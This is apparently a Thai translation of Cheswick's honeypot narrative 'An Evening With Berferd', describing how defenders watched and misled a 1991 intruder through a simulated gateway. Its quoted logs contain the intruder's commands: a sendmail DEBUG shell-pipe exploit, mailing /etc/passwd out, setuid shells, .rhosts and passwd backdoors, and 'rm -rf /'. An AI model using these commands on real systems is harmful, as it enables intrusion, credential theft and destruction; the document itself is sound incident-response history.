An Evening With Berferd

หลุมพรางดักแคร็กเกอร์

อารัมภบท

การถูกบุกรุกเป็นประสบการณ์ที่ไม่น่าพอใจสักเท่าใดนัก ไม่สนุกเลยที่ได้รู้ว่าโฮสต์ของคุณถูกบุกรุกโดยไม่รู้ตัว และระบบนั้นมีผู้บริหาร ระบบที่เป็นอาสาสมัครหลายคน แต่ในกรณีของเรา เกตเวย์ที่มีการป้องกันอย่างแน่นหนาและไว้ใจได้ช่วยให้เราสามารถจัดการกับ นักล้วงข้อมูลได้อย่างมั่นใจ Bill Cheswick, Steve Bellovin, Diana D'Angelo, และ Paul Glick ได้เล่นสนุกกับอาสาสมัครคนหนึ่ง เหมือน ๆ กับเรื่องราวเกี่ยวกับนักล้วงข้อมูลทั้งหลาย เรามาดูกันที่ข้อมูลที่บันทึกไว้ในระบบ(logs)

การกระทำอันไม่เป็นมิตร

ผมสังเกตเห็นอาสาสมัครคนหนึ่งของเราเมื่อตอนที่เขาได้ทำการติดต่อแบบทั่วไปโดยใช้เส้นทางที่เก่าแก่และไม่สมควรใช้ เขาต้องการสำเนาไฟล์รหัสผ่านของเรา สันนิษฐานว่านำไปเพื่อใช้ในการแคร็กหารหัสผ่าน เขาพยายามที่จะเอารหัสผ่านโดยใช้ช่อง โหว่ของ sendmail ที่เกี่ยวข้องกับคำสั่ง DEBUG ที่เก่าแล้ว (ไม่เกี่ยวกับช่องโหว่ของ sendmail ใหม่ ๆ ที่มีจำนวนมากมาย) จากข้อมูลที่ได้รับการบันทึกในระบบวันที่ 15 มกราคม คศ.1991แสดงให้เห็นถึงการกระทำที่ไม่เป็นมิตรอย่างไม่ต้องสงสัย

19:43:10 smtpd: <- 220 inet.att.com SMTP
19:43:14 smtpd: -
—> debug
19:43:14 smtpd: DEBUG attempt
19:43:14 smtpd: <
- 200 OK
19:43:25 smtpd: -> mail from:
19:43:25 smtpd: <
- 503 Expecting HELO
19:43:34 smtpd: -> helo
19:43:34 smtpd: HELO from
19:43:34 smtpd: <
- 250 inet.att.com
19:43:42 smtpd: -> mail from:
19:43:42 smtpd: <
- 250 OK
19:43:59 smtpd: -> rcpt to: rcpt to:<|sed -e '1,/^$/'d | /bin/sh ;
exit 0">
19:44:44 smtpd: shell characters: |sed -e '1,/^$/'d | /bin/sh ; exit 0"
19:44:45 smtpd: <
- 250 OK
19:44:48 smtpd: -> data
19:44:48 smtpd: <
- 354 Start mail input; end with .
19:45:04 smtpd: <- 250 OK
19:45:04 smtpd: /dev/null sent 48 bytes to upas.security
19:45:08 smtpd: -
—> quit
19:45:08 smtpd: <
- 221 inet.att.com Terminating
19:45:08 smtpd: finished.

เป็น ข้อมูลที่ได้บันทึกไว้ในส่วนของ SMTP ซึ่งมักจะเป็นการติดต่อระหว่างโฮสต์ส่งเมลสองโฮสต์ ในกรณีนี้มีใครคนหนึ่งที่อยู่ในโฮสต์อีกด้านหนึ่งกำลังพิมพ์คำสั่ง(และพิมพ์ ผิด) มายัง mail daemon ของเรา คำสั่งแรกที่เขาใช้คือ คำสั่ง DEBUG เขาต้องรู้สึกประหลาดใจแน่ที่เขาได้การตอบรับเป็น "250 OK" (การดำเนินการของกลไกกับดักนี้ จำเป็นต้องมีการเพิ่มโค้ดเข้าไปสองสามบรรทัดในโปรแกรมรับส่งเมลของเรา) บรรทัดที่สำคัญคือ บรรทัดที่มีคำสั่ง rcpt to: ที่ป้อนเข้าไปเวลา 19:44:44 น. ตัวอักษรที่อยู่ ภายในเครื่องหมาย <> ของคำสั่งนี้มักจะเป็นที่อยู่ของผู้รับเมล แต่จากตัวอย่างนี้เป็นบรรทัดคำสั่ง โปรแกรม sendmail จะใช้คำสั่งนี้ในฐานะเป็น root เมื่อมันอยู่ใน debug mode (ถ้ายังไม่ได้แก้ไขช่องโหว่นี้) ในกรณีของเราการใช้คำสั่งนี้ได้ถูกส่งถึงผม ข้อความในเมล(ที่ไม่ได้ถูกบันทึกไว้ในระบบ)ถูกส่งผ่านคำสั่ง

sed -e '1,/^$/'d | /bin/sh ; exit 0"

ซึ่งจำนำเอาส่วนหัวของเมลออกไปและรันข้อความในเมลที่เหลือโดยใช้สิทธิ์ของ root ดังคำสั่งต่อไปนี้ตามที่ผมได้บันทึกมันไว้โดยมีเวลากำกับไว้ด้วย

19:45 mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda </etc/passwd

19:51 mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda </etc/passwd

เขาต้องการให้ระบบของเราส่งสำเนาไฟล์รหัสผ่านของเราไปให้เขา สันนิษฐานว่าเพื่อนำไปใช้กับโปรแกรมเดารหัสผ่าน แต่ละคำสั่งนี้มาจากยูสเซอร์ adrian ที่อยู่ในเครื่อง EMBEZZLE.STANFORD.EDU แสดงถึงความไม่เป็นมิตรอย่างโจ่งแจ้ง เป็นช่วงเวลาเดียวกันกับที่สหรัฐ ฯ ประกาศจู่โจมประเทศอิรักทางอากาศ ผมสงสัยเล่น ๆ ว่า ซัดดัมคงไปจ้างแคร็กเกอร์คนสองคนเพื่อมาโจมตีหรือไม่ เนื่องจากผมมีไฟล์รหัสผ่านแบบหลอก ๆ สำรองอยู่ในไดเร็กทอรีสำหรับ FTP ดังนั้นผมจึงส่งไฟล์นี้ไปให้พร้อมกับ ที่อยู่อีเมลที่สามารถตอบกลับของ root นอกจากนี้ผมยังได้ส่งเมลถึง Stanford เพื่อบอกถึงการที่ Stanford ถูกบุกรุกด้วย

เช้าวันต่อมาผมได้รับการติดต่อจาก Stephen Hansen ผู้บริหารระบบที่ Stanford เขาทุ่มเทความสนใจทั้งหมดไปที่ปัญหาเกี่ยวกับนักล้วงข้อมูล แอกเคาท์ adrian ถูก ขโมยไปใช้และคอมพิวเตอร์หลายเครื่องถูกโจมตี เขาและซึโตมุ ชิโมมุระ แห่ง Los Alasmos Labs กำลังพัฒนาเครื่องมือดักฟังโทรศัพท์เพื่อติดตามผู้บุกรุกรายนี้ การโจมตี เข้ามายังเทอร์มินัลเซิร์ฟเวอร์ จากการเชื่อมโยงทางสายโทรศัพท์ พวกเขาหวังว่าจะสามารถตามรอยการใช้โทรศัพท์นั้นได้

เช้าวันอาทิตย์ต่อมาผมได้รับเมลจากฝรั่งเศษ

To: moc.tta.hcraeser|toor#moc.tta.hcraeser|toor
Subject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100

I have just closed an account on my machine
which has been broken by an intruder coming from
embezzle.stanford.edu. He (she) has left a file called
passwd. The contents are:
- - - - - - - - - - - - - -

Received: from research.att.com by embezzle.Stanford.EDU
Tue, 15 Jan 91 18:49:12 -0800
Message-Id: <UDE.drofnatS.elzzebme|29062AA.9420611019#UDE.drofnatS.elzzebme|29062AA.9420611019>
From: moc.tta.hcraeser|toor#moc.tta.hcraeser|toor
Date: Tue, 15 Jan 91 21:48 EST
To: ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
Daemon: *:1:1:0000-Admin(0000):/:
Bin: *:2:2:0000-Admin(0000):/bin:
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
Adm: *:4:4:0000-Admin(0000):/usr/adm:
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
Nuucp: *:10:10::/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
Status: R


Please let me know if you heard of him.

ไฟล์รหัสผ่านปลอมของเราถูกเคลื่อนย้ายไปยังฝรั่งเศษเลยทีเดียว ! (ข้อผิดพลาดจากการกำหนดค่าอย่างหนึ่งทำให้โปรแกรมรับส่งเมล ของเราระบุข้อความของรหัสผ่านเป็น แบบ RFC 822 header line และแก้ไขฟอร์แมตของข้อความ ตัวอักษรตัวแรกถูกทำให้เป็นตัวใหญ่ และถูกเพิ่มช่องว่างเข้าไปหลังเครื่องหมายโคลอนตัวแรกของแต่ละบรรทัด

เหตุการณ์ในตอนเย็นกับ Berferd

ในตอนเย็นวันที่ 20 มกราคม CNN ได้เสนอภาพเหตุการณ์ในสงครามอ่าวเปอร์เชีย CNN กำลังรายงานข่าวถึงจรวดสกั๊ดที่กำลังเหิรฟ้า และแล้วแฮกเกอร์ของผมก็กลับมา

22:33 finger attempt on berferd

เขาต้องการตรวจสอบให้แน่ใจว่าเครื่องเป้าหมายไม่มีใครที่ล๊อกอินเข้าไป สองนาทีต่อมามีคนหนึ่งใช้คำสั่ง DEBUG เพื่อที่จะใช้คำสั่งต่อไปโดยใช้สิทธิ์ของ root เขาต้องการ ให้โปรแกรมรับส่งเมลของเราเปลี่ยนแปลงไฟล์รหัสผ่านของเราเอง !

22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" »/etc/passwd
cp /bin/sh /tmp/shell
chmod 4755 /tmp/shell

อีกครั้งที่การติดต่อนั้นมาจาก EMBEZZLE.STANFORD.EDU

ผมควรทำอะไรต่อไป ? ผมไม่ต้องการให้เขาได้แอกเคาท์ที่อยู่บนเครื่องเกตเวย์ของเราจริง ๆ หรอก ทำไมต้องเอาปัญหาเข้ามาด้วยล่ะ ! พวกเราไม่อยากบันทึกสิ่งที่เขาพิมพ์ลงไป และต้องการชำระสะสางความยุ่งเหยิงทั้งหมดในเวลาต่อมา

ก่อนที่จะส่งไฟล์รหัสผ่านไปให้เขา 5 วัน ผมได้จำลองคอมพิวเตอร์ที่มีการจัดการที่แย่ขึ้นมาเครื่องหนึ่ง ผมจำเป็นต้องติดตามเฝ้าดูเขาอีกระยะหนึ่ง เพื่อให้รู้ว่าเขาต้องการอะไร อย่างอื่นอีกหรือไม่ ผมจะทำจำลองระบบปฏิบัติการขึ้นมาเอง แต่ผมจะทำให้เขาได้รู้ว่าเครื่องนี้ช้า เพราะว่าผมใช้เครื่อง MIPS M/120 ไม่ถนัด หมายความว่าผมจำเป็นต้อง สร้างระบบจำลองที่ขึ้นอยู่กับการตัดสินใจของผม ผมตัดสินใจไปข้อหนึ่งแล้วเพราะผู้โจมตีได้ไฟล์รหัสผ่านไปแล้ว

การตัดสินใจข้อแรก ไฟล์รหัสผ่านของ FTP เคยเป็นของจริง

มีอีกสองข้อคือ

การตัดสินใจข้อที่ 2 เครื่องที่เป็นเกตเวย์มีการจัดการที่แย่ (ที่สำคัญกว่านั้นคือ มันมีช่องโหว่เกี่ยวกับ DEBUG และที่ไดเร็กทอรีของ FTP ไม่ควรมีไฟล์รหัสผ่านของจริงอยู่)

การตัดสินใจข้อที่ 3 เครื่องเกตเวย์ช้าอย่างร้ายกาจ อาจใช้เวลาเป็นชั่วโมงในการรับส่งเมล ซึ่งอาจใช้เวลาทั้งคืนเลยก็ได้ !

การตัดสินใจข้อที่ 4 shell ไม่ได้อยู่ที่ไดเร็กทอรี /bin แต่มันอยู่ที่อื่น

การตัดสินใจนี้ออกจะไร้เหตุผลเพราะว่ามันไม่สอดคล้องกับไฟล์รหัสผ่านที่ผมเพิ่งส่งไปให้เขา แต่ผมไม่มีอะไรที่จะต้องสูญเสีย ผมสร้างแอคเคาท์ b ขึ้นมาโดยใช้ร่วมกับ shell script เล็ก ๆ มันจะส่งเมลแจ้งให้ทราบเมื่อมันถูกเรียกใช้งาน มันจะใช้คำสั่ง sleep เพื่อหยุดพักการทำงาน เพื่อให้การทำงานนั้นช้าลง ผู้ซึ่งใช้แอกเคาท์นี้จะเห็นดังนี้

RISC/os (inet)

login: b
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved

Shell not found

การตัดสินใจข้อที่ 3 อธิบายว่ามันทำไมมันถึงได้ใช้เวลาประมาณ 10 นาทีในการเพิ่มแอกเคาท์เข้าไปในไฟล์รหัสผ่าน ผมเปลี่ยน b เป็น beferdd ในไฟล์รหัสผ่านของจริง ในขณะที่ผมกำลังเซ็ตมันอยู่ เพื่อนของเราได้พยายามอีกครั้ง

22:41 echo "bferd ::301:1::/:/bin/sh" » /etc/passwd

เป็น ข้อเสนออีกอันหนึ่งสำหรับสิ่งที่จะใส่เข้าไปในไฟล์รหัสผ่านของเรา เขาต้องใส่ช่องว่างลงไปหลังจากชื่อ login เพราะคำสั่งที่แล้วยังไม่ได้รันที่เครื่องนี้และเขาจำได้ถึง ช่องว่างแบบ RFC 822 ในไฟล์สำหรับรหัสผ่านที่ผมได้ส่งไปให้เขา เขาจะใส่ช่องว่างก่อนเครื่องหมายโคลอนแทนที่จะเอาไว้หลังมัน เขาถึงกับอดทนรอไม่ได้ขณะที่ผมกำลัง สร้างแอกเคาท์ใหม่ขึ้นมา

22:45 talk dnats.elzzebme|nairda#dnats.elzzebme|nairda^Hford.edu
talk ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda

การตัดสินใจข้อที่ 5 ระบบของเราไม่มีคำสั่ง talk

การ ตัดสินใจข้อที่ 6 ข้อผิดพลาดจะไม่ถูกรายงานไปยังผู้บุกรุกเมื่อช่องโหว่ของคำสั่ง DEBUG ถูกใช้ (ผมเชื่อว่าสิ่งนี้เป็นจริงในทุกสถานการณ์ คำสั่งที่ผิดพลาดจะทำให้สคริปท์นั้นสิ้นสุดการทำงานและป้องกันไม่ให้คำสั่ง ต่อไปสามารถ ทำงานได้อีกต่อไปในสคริปท์เดียวกัน)

การร้องขอการติดต่อแบบ talk มาจากอีกเครื่องหนึ่งของ Stanford ผมแจ้งให้ทาง Stanford ทราบเพราะบางทีพวกเขาอาจจะยังไม่รู้ นอกจากนี้ผมได้ดูข่าวเกี่ยวกับจรวดสกั๊ด ในทีวีอีกด้วย

เขาเลือกโจมตีแอกเคาท์ Berferd ชื่อนี้มาจากรายการทีวี Dick Van Dyke show ที่เก่าแล้วเมื่อ Jerry Van Dyke ถูกเรียกว่า Dick "Berferd" ดูเหมือนเป็นชื่อที่เหมาะสมกับผู้บุกรุกของเรา (บางทีมันอาจเป็นวิธีแก้ไขปัญหาการเรียกชื่อ "hacker/cracker" เช่น Berferd คนหนึ่งได้บุกรุกเข้าไปในเครื่อง name server เมื่อวานนี้…"

ต่อมามีการติดต่อเข้ามาอีก เห็นได้ชัดว่า Berferd คงไม่มีเคเบิลทีวีดูอย่างแน่นอน

22:48 Attempt to login with bferd from Tip-QuadA.Stanford.EDU
22:48 Attempt to login with bferd from Tip-QuadA.Stanford.EDU
22:49 Attempt to login with bferd from embezzle.Stanford.EDU
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51 Attempt to login with bferd from embezzle.Stanford.EDU
22:51 Attempt to login with bferd from embezzle.Stanford.EDU
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" » /etc/passwd
22:57 (Added bfrd to the real password file.)
22:58 Attempt to login with bfrd from embezzle.Stanford.EDU
22:58 Attempt to login with bfrd from embezzle.Stanford.EDU
23:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle.stanford.edu"»/etc./^H^H^H
23:06 Attempt to login with guest from rice-chex.ai.mit.edu
23:06 echo "36.92.0.205 embezzle.stanford.edu" » /etc/hosts
23:08 echo "embezzle.stanford.edu adrian"»/tmp/.rhosts

เขาพยายามติดต่อแบบ rlogin เข้ามายังเกตเวย์ของเรา ต้องอาศัยไฟล์บางไฟล์ในเกตเวย์ที่ได้รับการกำหนดค่าอย่างถูกต้องเท่านั้น จึงจะสามารถติดต่อแบบ rlogin ได้สำเร็จ ในเวลาที่เราไม่ตรวจเจอความพยายามใช้คำสั่ง rlogin, Berferd ทำให้เรานึกถึง เครื่องมือสำหรับการโจมตีแบบใหม่ของเขาด้วย

23:09 Attempt to login with bfrd from embezzle.Stanford.EDU
23:10 Attempt to login with bfrd from embezzle.Stanford.EDU
23:14 mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda < /etc/inetd.conf
ps -aux|mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda

หลังจากที่ความพยายามที่จะใช้ rlogin ล้มเหลว Berferd ต้องการไฟล์ inetd.conf ของเราเพื่อที่จะดูว่ามีเซอร์วิสใดเปิดใช้ งานบ้าง ผมไม่ต้องการให้เขาเห็นไฟล์ของจริง มีปัญหายุ่งยากเกินไปที่จะสร้างจำลองขึ้นมา คำสั่งที่ส่งมานั้นใช้ได้ถูกต้องแต่ผม ไม่ต้องการทำอย่างที่เขาต้องการ

การตัดสินใจข้อที่ 7 คอมพิวเตอร์ที่เป็นเกตเวย์สามารถเปลี่ยนค่าที่กำหนดไว้ได้ (พวกเราได้สันนิษฐานไว้ว่าคอมพิวเตอร์เป็น มีลักษณะเช่นนั้นอยู่แล้ว)

23:28 echo "36.92.0.205 embezzle.stanford.edu" » /etc/hosts
echo "embezzle.stanford.edu adrian" » /tmp/.rhosts
ps -aux|mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda
mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda < /etc/inetd.conf

ผมไม่ต้องการให้เขาเห็นผลลัพธ์จากคำสั่ง ps เช่นกัน โชคดีที่สวิทช์(switches)ของคำสั่ง ps ของยูนิกซ์ตระกูล BSD ไม่สามารถใช้งานบนเครื่อง System V ได้

ถึงจุดนี้ผมได้ติดต่อไปยัง CERT เพราะมันเป็นการโจมตีเพิ่มเติม และน่าจะมีบางคนที่ Stanford ที่กำลังตามรอยโทรศัพท์ (ผมได้รับคำตอบมาว่าต้องใช้เวลาหลายสัปดาห์จึงจะพบร่องรอยที่แท้จริงได้) ดังนั้น CERT จะทำอย่างไรในสถานการณ์แวดล้อม เช่นนี้ ? เขาจะติดต่อกับหน่วยงานของรัฐบาลกลางหรือไม่ ? หาผู้เสียหายสำหรับการฟ้องร้องหรือไม่ ? ทำการดักฟังเครือข่าย โทรศัทพ์นานาชาติหรือไม่ ? สิ่งที่พวกเขาคือการบันทึกและเฝ้าดูทุกสิ่งและพยายามทำให้ผมได้ติดต่อกับผู้บริหารระบบที่ Stanford ดูเหมือนพวกเขาจะมีรายชื่อสำหรับการติดต่อที่มีมากด้วย

ในช่วงนี้มีวินโดวส์ที่หน้าจอของผมมากมายที่กำลังรันคำสั่ง tail -f เพื่อดูไฟล์ที่บันทึกสิ่งที่เกิดขึ้นในระบบมากมาย ผมสามารถ เฝ้าดูข่าวจากกรุงริยาห์ด ซาอุดิอาราเบีย ไปพร้อม ๆ กับการดู daemon ของระบบได้ในเวลาเดียวกัน ต่อมาการบุกรุกตามมา ด้วยการใช้ FTP

Jan 20 23:36:48 inet ftpd: <- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Jan 20 23:36:55 inet ftpd: -
—> user bfrd^M
Jan 20 23:36:55 inet ftpd: <
- 331 Password required for bfrd.
Jan 20 23:37:06 inet ftpd: -> pass^M
Jan 20 23:37:06 inet ftpd: <
- 500 'PASS': command not understood.
Jan 20 23:37:13 inet ftpd: -> pass^M
Jan 20 23:37:13 inet ftpd: <
- 500 'PASS': command not understood.
Jan 20 23:37:24 inet ftpd: -> HELP^M
Jan 20 23:37:24 inet ftpd: <
- 214- The following commands are
recognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd: <- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd: -
—> QUIT^M
Jan 20 23:37:31 inet ftpd: <
- 221 Goodbye.
Jan 20 23:37:31 inet ftpd: Logout, status 0
Jan 20 23:37:31 inet inetd: exit 14437

Jan 20 23:37:41 inet inetd: finger request from 36.92.0.205 pid 14454
Jan 20 23:37:41 inet inetd: exit 14454

23:38 finger attempt on berferd
23:48 echo "36.92.0.205 embezzle.stanford.edu" » /etc/hosts.equiv
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd

การตัดสินใจข้อที่ 4 มีผลทำให้บรรทัดสุดท้ายนั้นไม่สามารถทำงานได้ ดังนั้นเขาเพิ่งจะทำลาย เซอร์วิส finger ในเครื่องจำลอง ของเรา ผมได้ปิดการใช้งานเซอร์วิสที่เป็นของจริงไปแล้ว

23:57 Attempt to login with bfrd from embezzle.Stanford.EDU
23:58 cp /bin/csh /usr/etc/fingerd

Csh ไม่ได้อยู่ที่ /bin เช่นกัน ดังนั้นคำสั่งนี้จึงล้มเหลว

00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd

โอเค fingerd ทำงานได้อีกครั้งโดย Berferd ทำให้มันกลับไปอยู่ที่เดิม

00:14 passwd bfrt
bfrt
bfrt

ตอนนี้เขากำลังพยายามเปลี่ยนรหัสผ่าน แต่มันจะไม่ได้ผลเลย เนื่องจากคำสั่ง passwd จะอ่านสิ่งที่ป้อนเข้าไปจาก /dev/tty ไม่ใช่ shell script ที่โปรแกรม sendmail ได้สร้างขึ้น

00:16 Attempt to login with bfrd from embezzle.Stanford.EDU
00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
00:19 chmod 4755 /tmp/shell
00:19 Attempt to login with bfrd from embezzle.Stanford.EDU
00:19 Attempt to login with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login with bfrd from embezzle.Stanford.EDU

ถึงตอนนี้ผมรู้สึกเหนื่อย และคืนนี้ทั้งคืนผมต้องดูข่าวเกี่ยวกับเหตุการณ์ในตะวันออกกลาง ผมต้องการเฝ้าดู Berferd ในตอนเช้า พรุ่งนี้ แต่จำเป็นต้องปิดเครื่องจำลองของเราถึงตอนนั้น

เขาต้องใช้ความพยายามอีกเท่าไหร่ การกระทำแบบโง่ ๆ นี้จึงจะมีค่า สนุกมากที่จะนำเขาเข้าไป แต่อะไรเป็นประเด็นสำคัญกันล่ะ ? ผมหวังว่าจะทำให้เขายุ่งอยู่กับมันและอาจเลิกยุ่งกับคอมพิวเตอร์ของ Stanford ไปช่วงหนึ่ง ถ้าเขาใช้ความพยายามที่จะบุกรุก เข้าไปสู่เกตเวย์ของเรา ผมสามารถซื้อเวลาเขาเพื่อปิดเครื่อง สร้างเครื่องมือ และตามรอยเขา

ผมตัดสินใจว่าเป้าหมายของผมคือการทำให้ Berferd ใช้เวลามากขึ้นกับปัญหามากกว่าที่ผมใช้เวลา

ผม จำเป็นต้องมีเหตุผลอ้างสำหรับการปิดเครื่องเกตเวย์ ผมนึกถึงเหตุผลโดยทั่วไปนั่นคือ ปัญหาเกี่ยวกับดิสก์ (ผมสงสัยว่าผู้บุกรุก หลายคนอาจตั้งความเห็นไว้ว่าดิสก์ไดรฟ์มีความน่าเชื่อถือน้อยกว่าที่มันควร จะเป็นจริง ๆ ) ผมรอจนกระทั่ง Berferd แช่อยู่ในคำสั่ง sleep จนทำอะไรไม่ได้ และส่งข้อความแจ้งให้เขาทราบว่าเครื่องมีข้อผิดพลาดเกี่ยวกับดิสก์ และจะปิดเครื่องจนถึงเช้า เครื่องนี้ใช้สำหรับการค้นคว้า ไม่ใช่ใช้สำหรับการทำงานจริง ๆ จริง ๆ แล้วผมอาจส่งเมลในตอนเช้านี้ก็ได้

ประมาณครึ่งชั่วโมงต่อมาก่อนเลิกงานในวันนี้ ผมตัดสินใจว่า Berferd ไม่ควรค่ากับการอ้างเหตุผลสำหรับการปิดเครื่อง ดังนั้น จึงเปิดให้เครื่องใช้งานได้เหมือนเดิม

Berferd กลับมาอีกครั้งในคืนนั้น เขาถูกหลอกล่อ เขาได้ดำเนินการโจมตีจนถึงเวลา 0:40 น. จากบันทึกการกระทำของเขาชวน ให้น่าสงสารและน่าเบื่อหน่าย จนกระทั่งคำสั่งนี้ที่เป็นคำสั่งสำหรับ root ได้ถูกใช้

01:55 rm -rf /&

ว้าว ! มันกลายเป็นคำสั่งส่วนตัวไปเสียแล้ว สถานะของเครื่องทำให้เขาสับสนอย่างเห็นได้ชัดและเขาต้องการปกปิดร่องรอยของเขา

พวกเราเคยได้ยินแฮกเกอร์บางคนอ้างว่าพวกเขาไม่ทำอันตรายต่อคอมพิวเตอร์ที่พวกเขาบุกรุกเข้าไป พวกเขาเพียงแต่ต้องการ สำรวจดูระบบเท่านั้น แน่นอนว่ามันขึ้นอยู่กับบุคคลและสถานการณ์แวดล้อมมากกว่า พวกเราเห็นการกระทำของ Berferd ที่ บันทึกไว้ในระบบภายในโฮสต์อื่นที่เขาได้ทำลายระบบไฟล์ทั้งหมด

พวกเราไม่ต้องการให้คนแปลกหน้าอยู่ในห้องรับแขกของพวกเรา ถึงแม้ว่าเขาจะเช็ดรองเท้าของเขาแล้วก็ตาม

เขายังพยายามไปอีกสองสามนาที แล้วจึงเลิกทำในตอนเช้า

07:12 Attempt to login with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
07:17 finger attempt on berferd
07:19 /bin/rm -rf /&
/bin/rm -rf /&
07:23 /bin/rm -rf /&
07:25 Attempt to login with bfrd from embezzle.Stanford.EDU
09:41 Attempt to login with bfrd from embezzle.Stanford.EDU

วันต่อมา

การตัดสินใจข้อที่ 8 ช่องโหว่ DEBUG ของโปรแกรม sendmail ยังคงมีลำดับของคำสั่งที่ต้องทำงานตามนั้น

ถึงเวลาที่ต้องรวบรวมคำสั่งที่เขาได้พยายามหลังจากที่ผมได้นอนหลับไป รวมทั้งความพยายามที่จะลบไฟล์ทุกไฟล์ในระบบ ของเราด้วย

เพื่อที่จะจำลองคำสั่ง rm ผมได้ปิดเครื่องชั่วคราวแล้วจึงลบไฟล์รหัสผ่านจำลอง แล้วจึงสร้างข้อความจากผู้บริหารระบบที่โชคร้าย เกี่ยวกับความเสียหายที่เกี่ยวกับดิสก์ใน /etc/motd สิ่งที่บันทึกไว้นี้บอกถึงคำสั่งที่เหลือจากการจัดลำดับไว้

mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda < /etc/passwd
mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda < /etc/hosts
mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda < /etc/inetd.conf
ps -aux|mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda
ps -aux|mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda
mail ude.drofnats.elzzebme|nairda#ude.drofnats.elzzebme|nairda < /etc/inetd.conf

ผมได้ส่งไฟล์สี่ไฟล์ที่ได้สร้างไว้ไปให้เขาทางอีเมล มีไฟล์ /etc/hosts ซึ่งมีขนาดใหญ่และไร้ประโยชน์ไปด้วย รวมถึงข้อความ ที่แจ้งถึงข้อผิดพลาดจากการใช้คำสั่ง ps ด้วยเนื่องจากมันขัดกับการตัดสินใจข้อที่ 6

ในตอนบ่าย เขาก็ยังคงอยู่ที่นั่น และพิมพ์คำสั่งผิดด้วย

13:41 Attempt to login to inet with bfrd from decaf.Stanford.EDU
13:41 Attempt to login to inet with bfrd from decaf.Stanford.EDU
14:05 Attempt to login to inet with bfrd from decaf.Stanford.EDU
16:07 echo "bffr ::7007:0::/:/v/bin/sh" » /etc/o^Hpasswd
16:08 echo "bffr ::7007:0::/:/v/bin/sh" » /etc/passwd

เขายังคงพยายามอีกหนึ่งชั่วโมงในตอนบ่ายนั้น และบางครั้งบางคราวในสัปดาห์ต่อไปหรือนานกว่านั้น พวกเรายังคงทำการปลอม แปลงที่ลวง Berferd นี้ที่ Dallas "CNN" Usenix ที่ซึ่งคำสั่งของ Berferd ถูกจำลองขึ้นจากห้องเทอร์มินัลประมาณสอง ครั้งต่อวัน เวลาในการตอบรับยืดยาวออกไปอย่างน่าเชื่อถือแต่ความพยายามของเขาก็ยังไม่ได้ ถดถอยลงไป

The Jail (สภาพแวดล้อมควบคุม)

พวกเราไม่เคยตั้งใจที่จะใช้เครื่องมือเหล่านี้เพื่อจำลองระบบขึ้นมาตามเวลาจริงเลย พวกเราต้องการเฝ้าดูการกดคีย์บอร์ดของ แคร็กเกอร์ เพื่อหาร่องรอยของเขา เรียนรู้เทคนิคของเขา และเตือนผู้ที่ตกเป็นผู้เสียหาย ทางแก้ปัญหาที่ดีที่สุดคือการหลอกล่อ ให้เขามายังเครื่องที่ได้เตรียมไว้และดักจับสัญญาณในการติดต่อ

พวกเราต้องการมีเครื่องที่มีการเฝ้าดูทุกการกระทำที่ซ่อนอยู่ด้วย อีเทอร์เน็ต(Ethernet) ง่ายต่อการดักจับสัญญาณการสื่อสาร ที่ผ่านไปมา ซอฟท์แวร์ tcpdump ที่ได้รับการดัดแปลงแล้วสามารถแยกการทำงานเพื่อบันทึกการติดต่อแต่ละอย่างได้ เราพยายาม ทำแล้วแต่ปรากฏว่าเคอร์เนล(kernel)ยังคงประกาศ ARP (Address Resolution Protocol) ไปยังเน็ตเวิร์คที่มีการดัก จับสัญญาณ พวกเราไปดูที่ซอฟท์แวร์จำนวนมากที่ได้รับการแก้ไขแล้ว แต่พวกมันทั้งหมดซับซ้อนเกินไปที่จะให้แน่ใจได้ว่ามัน ทำงานได้จริง ท้ายสุด Steve ได้ตัดสายส่งสัญญาณ(transmit wire)ในสายเคเบิลทรานซิฟเวอร์(transceiver) เพื่อให้ แน่ใจได้จริง ๆ ว่ามันจะไม่มีสัญญาณและไม่สามารถตรวจพบได้

เครื่องมือสำหรับการดักสัญญาณและการเฝ้าดูพร้อมแล้ว แต่ Berferd ไม่ได้สนใจเครื่องที่เราได้สร้างไว้นี้เมื่อเราได้เซ็ตอัปมัน เสร็จแล้ว

